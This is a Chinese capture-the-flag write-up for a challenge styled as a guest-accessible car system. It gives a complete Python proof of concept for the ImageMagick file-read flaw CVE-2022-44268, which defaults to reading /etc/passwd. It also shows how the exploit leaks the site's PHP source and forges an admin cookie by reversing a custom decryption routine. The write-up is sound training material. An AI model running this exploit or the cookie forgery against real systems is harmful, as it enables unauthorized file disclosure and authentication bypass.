0x01 题目: 对访客开放的车载系统,进入环境:http://172.35.8.73/
0x02 题解: 在登入页面使用字典跑一遍,发现Guest
/Guest
可以登入:
进入后页面:
根据hint,涉及到的漏洞CVE-2022-44268
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import sysimport pngimport zlibimport argparseimport binasciiimport logginglogging.basicConfig(stream=sys.stderr, level=logging.INFO, format ='%(asctime)s - %(levelname)s - %(message)s' ) d = zlib.decompressobj() e = zlib.compressobj() IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00' IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \ b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \ b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F' def parse_data (data: bytes ) -> str : _, data = data.strip().split(b'\n' , 1 ) print (data.replace(b'\n' , b'' )) return binascii.unhexlify(data.replace(b'\n' , b'' )).decode() def read (filename: str ): if not filename: logging.error('you must specify a input filename' ) return res = '' p = png.Reader(filename=filename) for k, v in p.chunks(): logging.info("chunk %s found, value = %r" , k.decode(), v) if k == b'zTXt' : name, data = v.split(b'\x00' , 1 ) res = parse_data(d.decompress(data[1 :])) if res: sys.stdout.write(res) sys.stdout.flush() def write (from_filename, to_filename, read_filename ): if not to_filename: logging.error('you must specify a output filename' ) return with open (to_filename, 'wb' ) as f: f.write(png.signature) if from_filename: p = png.Reader(filename=from_filename) for k, v in p.chunks(): if k != b'IEND' : png.write_chunk(f, k, v) else : png.write_chunk(f, b'IHDR' , IHDR) png.write_chunk(f, b'IDAT' , IDAT) png.write_chunk(f, b"tEXt" , b"profile\x00" + read_filename.encode()) png.write_chunk(f, b'IEND' , b'' ) def main (): parser = argparse.ArgumentParser(description='POC for CVE-2022-44268' ) parser.add_argument('action' , type =str , choices=('generate' , 'parse' )) parser.add_argument('-i' , '--input' , type =str , help ='input filename' ) parser.add_argument('-o' , '--output' , type =str , help ='output filename' ) parser.add_argument('-r' , '--read' , type =str , help ='target file to read' , default='/etc/passwd' ) args = parser.parse_args() if args.action == 'generate' : write(args.input , args.output, args.read) elif args.action == 'parse' : read(args.input ) else : logging.error("bad action" ) if __name__ == '__main__' : main()
使用前记得安装一个pypng
包安装代码如下:
或者
1 python3 -m pip install pypng
先获取一下index.php
使用指令如下:
1 ./poc.py generate -o poc.png -r './index.php'
生成一个poc.png
图片文件,然后上传到服务器,再右键图片下载下来,利用脚本进行解析:
1 ./poc.py parse -i 6476fa0eb4cf4.png
同理可以任意读取user.php
、upload.php
,但是在这个过程中遇到点bug:
这是由于代码中包含很多特殊字符,导致在处理图片文件时出现错误,这里进行修改,把对应的源数据用python的函数bytes.fromhex()
进行解析,解析不了就去掉一些头或者尾
可能是原作者在内容处理没有做过多的修饰(
下面是通过任意读取获得的user.php
内容:
1 2 3 4 5 6 7 8 9 10 11 ······(省略一坨无效代码 <?php \r\n include ("function.php" );$cookie = $_COOKIE ['login_cookie' ];$decodedCookie = myDecrypt ($cookie );if ($decodedCookie === "admin" ) { $isAdmin = true ; } if ($isAdmin ) { $content = system ("/readflag" ); echo "<p>" . htmlspecialchars ($content ) . "</p>" ; } \r\n ?> \r\n</body>\r\n</html>\r\n'
代码比较乱,但是可以在后面找到一个include("function.php");
,并且有一个myDecrypt()
函数,可以合理猜测获取flag关键的一步应该在function.php
中。
继续上上面的步骤读取“function.php”,整理一下可以得到以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function myDecrypt ($data , $key ="hello" ) { $data = base64_decode ($data ); $salt = substr (md5 ($key ), 0 , 8 ); $iv = substr ($data , 0 , 16 ); $data = substr ($data , 16 ); $data = openssl_decrypt ($data , 'AES-256-CBC' , $salt .$key , OPENSSL_RAW_DATA, $iv ); $data = str_rot13 ($data ); $data = base64_decode ($data ); $data = gzuncompress ($data ); $data = str_replace ('5' , 'u' , $data ); $data = str_replace ('4' , 'o' , $data ); $data = str_replace ('3' , 'i' , $data ); $data = str_replace ('2' , 'e' , $data ); $data = str_replace ('1' , 'a' , $data ); $data = strrev ($data ); return $data ; }
可以发现这又是一个套娃解密,反过来写就行了,就是要注意一下$data = substr($data, 16);
在加密函数中应该是$data = $iv.$data;
最后得到的脚本应该是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $key ="hello" ;$data = "admin" ;$data = strrev ($data );$data = str_replace ('u' , '5' , $data );$data = str_replace ('o' , '4' , $data );$data = str_replace ('i' , '3' , $data );$data = str_replace ('e' , '2' , $data );$data = str_replace ('a' , '1' , $data );$data = gzcompress ($data );$data = base64_encode ($data );echo ("\n1base:" .$data ."\n" );$data = str_rot13 ($data );echo ("\n2rot:" .$data ."\n" );$salt = substr (md5 ($key ), 0 , 8 ); $iv = substr ($data , 0 , 16 ); $data = openssl_encrypt ($data , 'AES-256-CBC' , $salt .$key , OPENSSL_RAW_DATA, $iv ); echo ("\n3aes:" .$data ."\n" );$data = $iv .$data ;echo ("\n4add:" .$data ."\n" );$data = base64_encode ($data );echo ("\n5result:" .$data ."\n" );echo (myDecrypt ($data ));
运行结果:
1 2 3 4 5 6 7 8 9 10 11 1base: eJzLM85NMQQABTcBpA== 2rot: rWmYZ85AZDDNOGpOcN== 3aes: ?6??!J??k?:????L??_g_y4???f- 4add: rWmYZ85AZDDNOGpO?6??!J??k?:????L??_g_y4???f- 5result: cldtWVo4NUFaREROT0dwT/c2hqsaIUrCxmsCpzoakpar40yNnV9nX3k0yeu17mYt admin
把得到的result放到cookie中的login_cookie
字段,访问/user.php
就可以拿到flag了